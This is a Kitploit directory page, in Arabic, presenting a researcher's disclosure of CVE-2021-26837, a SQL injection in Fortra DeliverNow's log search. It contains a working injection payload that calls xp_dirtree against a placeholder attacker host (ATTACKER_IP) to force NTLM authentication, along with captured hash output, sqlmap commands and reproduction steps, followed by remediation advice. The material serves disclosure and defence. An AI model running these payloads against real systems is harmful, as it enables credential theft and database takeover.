Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-26837 — CVE-2021-26837 - حقن SQL في معامل SearchTextbox في HelpSystems/Fortra DeliverNow. الحمولات، الطلبات المشروحة، والأدلة. أُصلح في 1.2.18. | Kitploit
أدوات/GitHubGitHub/l0lsec/cve-2021-26837
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتسريب البياناتاختبار الاختراق
GitHubl0lsec/cve-2021-26837

CVE-2021-26837

CVE-2021-26837 - حقن SQL في معامل SearchTextbox في HelpSystems/Fortra DeliverNow. الحمولات، الطلبات المشروحة، والأدلة. أُصلح في 1.2.18.

عرض المستودع
منذ 26 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

CVE-2021-26837

حقن SQL في HelpSystems / Fortra DeliverNow

يتم دمج معامل SearchTextbox في صفحة بحث السجلات في DeliverNow (/LogGrid.aspx) مباشرةً في استعلام SQL Server دون أي وسيط (parameterisation) ودون أي تحقق من جانب الخادم. كما كان التطبيق يعرض أخطاء محلل SQL Server الناتجة مرة أخرى للمستخدم، وهذا هو كيف أعلنت الثغرة عن نفسها في المقام الأول.

كان اتصال قاعدة البيانات يعمل بصلاحيات sa، لذا ورث الحقن صلاحيات مدير النظام الكاملة على المثيل. وكان ذلك كافياً لاستدعاء master.dbo.xp_dirtree ضد مسار UNC يتحكم فيه المهاجم وإجبار حساب خدمة SQL Server على المصادقة الصادرة.

اكتُشفت أثناء اختبار اختراق داخلي. أصلحها المورّد في DeliverNow 1.2.18 ونُشرت باسم CVE-2021-26837.

اكتشفها وأبلغ بها Sedric Louissaint من Show Up Show Out Security.


الملخص

CVECVE-2021-26837
المنتجDeliverNow (HelpSystems، المعروفة الآن باسم Fortra)
الإصدارات المتأثرةقبل 1.2.18 (أدرجت النشرة الأصلية 1.2.18 والإصدارات الأقدم)
نقطة الضعفCWE-89: حقن SQL
CVSS 3.1 (NVD)9.8 حرجة CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 2 (الباحث)9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P
تاريخ النشر2023-09-19
بيئة الاختبارWindows Server 2019 Datacenter 10.0 (x64), SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64)

وصف NVD:

ثغرة حقن SQL في معامل SearchTextBox في Fortra (المعروفة سابقاً باسم HelpSystems) DeliverNow قبل الإصدار 1.2.18، تسمح للمهاجمين بتنفيذ تعليمات برمجية عشوائية، وتصعيد الصلاحيات، والحصول على معلومات حساسة.

التفاصيل الفنية

نقطة الحقن

POST /LogGrid.aspx، معامل النص SearchTextbox. النموذج هو عنصر البحث في عرض السجلات بالتطبيق. يحدد ddlFieldName العمود المراد البحث فيه (Description في الطلبات أدناه) ويحمل SearchTextbox المصطلح.

علامة اقتباس مفردة واحدة كافية لإثبات ذلك:

root@kitploit:~
blah'

يُظهر الرد خطأ محلل SQL Server مباشرة في الصفحة:

root@kitploit:~
Info: Unclosed quotation mark after the character string ''. Incorrect syntax near ''.

بحث السجلات يعيد خطأ علامة اقتباس غير مغلقة

هذا الإفصاح عن الخطأ يُعدّ اكتشافاً بحد ذاته. فهو يحوّل ما كان سيكون حقناً أعمى إلى حقن تفاعلي بالكامل.

التأكيد خارج النطاق عبر xp_dirtree

نظراً لأن الاتصال يعمل بصلاحيات sa، فإن master.dbo.xp_dirtree يمكن الوصول إليه. توجيهه إلى مسار UNC على مضيف تتحكم فيه يجعل حساب خدمة SQL Server يصادق صادراً إلى ذلك المضيف عبر SMB:

root@kitploit:~
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

الحمولة في مربع البحث

الطلب الكامل في poc/exploited-request.http، والحمولات في poc/payloads.sql.

طلب HTTP المستغل

المصادقة التي تم التقاطها

مع تشغيل smbserver.py من Impacket في وضع الاستماع، يجري حساب خدمة SQL Server الخاص بالهدف المصادقة ويُسرّب تجزئة NTLMv2:

root@kitploit:~
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

مصادقة مفروضة تم التقاطها باستخدام Impacket

تكون التجزئة متاحة بعد ذلك للكسر دون اتصال أو لترحيل NTLM إلى مضيف آخر.

سياق الصلاحيات

يؤكد sqlmap الحقن ومستوى الصلاحيات:

root@kitploit:~
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

تعداد sqlmap يُظهر المستخدم الحالي sa

صلاحيات sa تعني أن كل تجزئة تسجيل دخول على المثيل قابلة للقراءة، وأن xp_cmdshell يبعُد استدعاء sp_configure واحداً عن تنفيذ أوامر على المضيف.

إعادة الإنتاج

ضد مثيل مختبري تملكه أو مصرح لك باختباره:

  1. انتقل إلى واجهة الويب الخاصة بـ DeliverNow (الافتراضية http://<host>:1080/) وافتح السجلات.
  2. أدخل blah' في مربع البحث وأرسله. يعرض الإصدار المتأثر خطأ محلل SQL Server في الصفحة.
  3. شغّل مستمعاً على مضيف يمكن للهدف الوصول إليه:
    root@kitploit:~
    sudo smbserver.py c . -smb2support
    
  4. أرسل حمولة xp_dirtree من poc/payloads.sql مع استبدال عنوان IP الخاص بك. ينتج الإصدار المتأثر مصادقة SMB واردة من حساب خدمة SQL Server.
  5. اختيارياً، أكّد ذلك باستخدام sqlmap مع الطلب المحفوظ:
    root@kitploit:~
    sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
    

محتويات المستودع

root@kitploit:~
poc/
  payloads.sql            Detection and out-of-band payloads for SearchTextbox
  exploited-request.http  The full POST request, ready for sqlmap -r
  sqlmap.md               sqlmap invocations and expected output
media/
  01-sql-error-in-log-search.png
  02-xp-dirtree-payload-in-searchtextbox.png
  03-forced-auth-captured-impacket.png
  04-sqlmap-sa-enumeration.png
  05-exploited-http-request.png

الأجهزة والتجزئات في اللقطات مأخوذة من المهمة الأصلية ولم تعد صالحة منذ زمن طويل. استبدل عنوان المستمع الخاص بك عند إعادة الإنتاج.

المعالجة

  1. استخدم الاستعلامات المعاملية / العبارات المُجهزة لكل استعلام يُبنى من مدخلات المستخدم. هذا هو الإصلاح الفعلي. كل ما عداه هو تعميق للحماية.
  2. تحقق وعقّم من جانب الخادم. جسم POST خاضع بالكامل لتحكم المهاجم بغض النظر عما يسمح به النموذج من جانب العميل.
  3. توقف عن الاتصال بصلاحيات sa. يحتاج التطبيق إلى وصول للقراءة والكتابة إلى جداوله الخاصة. لا يحتاج صلاحيات مدير النظام، ولا يحتاج xp_dirtree. مبدأ أقل صلاحية لم يكن ليمنع الحقن لكنه كان سيحتويه.
  4. لا تعرض أخطاء قاعدة البيانات للمستخدمين. سجلها من جانب الخادم وأعد رسالة عامة.
  5. قيّد SMB الصادر من خوادم قاعدة البيانات عند حدود الشبكة، مما يزيل القناة خارج النطاق المستخدمة هنا.

أصلحها المورّد في DeliverNow 1.2.18. قم بالترقية.

الجدول الزمني

التاريخالحدث
2021اكتُشفت أثناء اختبار اختراق داخلي وأُبلغ بها HelpSystems
2021أُصلحت في DeliverNow 1.2.18
2023-09-19نُشرت CVE-2021-26837 في NVD، بتقييم 9.8 حرجة

مقالات

  • الحساب الشخصي: https://sedriclouissaint.com/blog/delivernow-sql-injection-cve-2021-26837/
  • Show Up Show Out Security: https://susos.co/blog/sqlnow-sql-injection-in-delivernow-cve-2021-26837

إخلاء المسؤولية

نُشرت بعد معالجة المورّد، للاستخدام الدفاعي والتعليمي. الحمولات هنا تستهدف إصداراً تمت معالجته منذ سنوات. لا تشغّلها ضد أنظمة لا تملكها أو ليس لديك تفويض كتابي لاختبارها.

تنزيل الأداة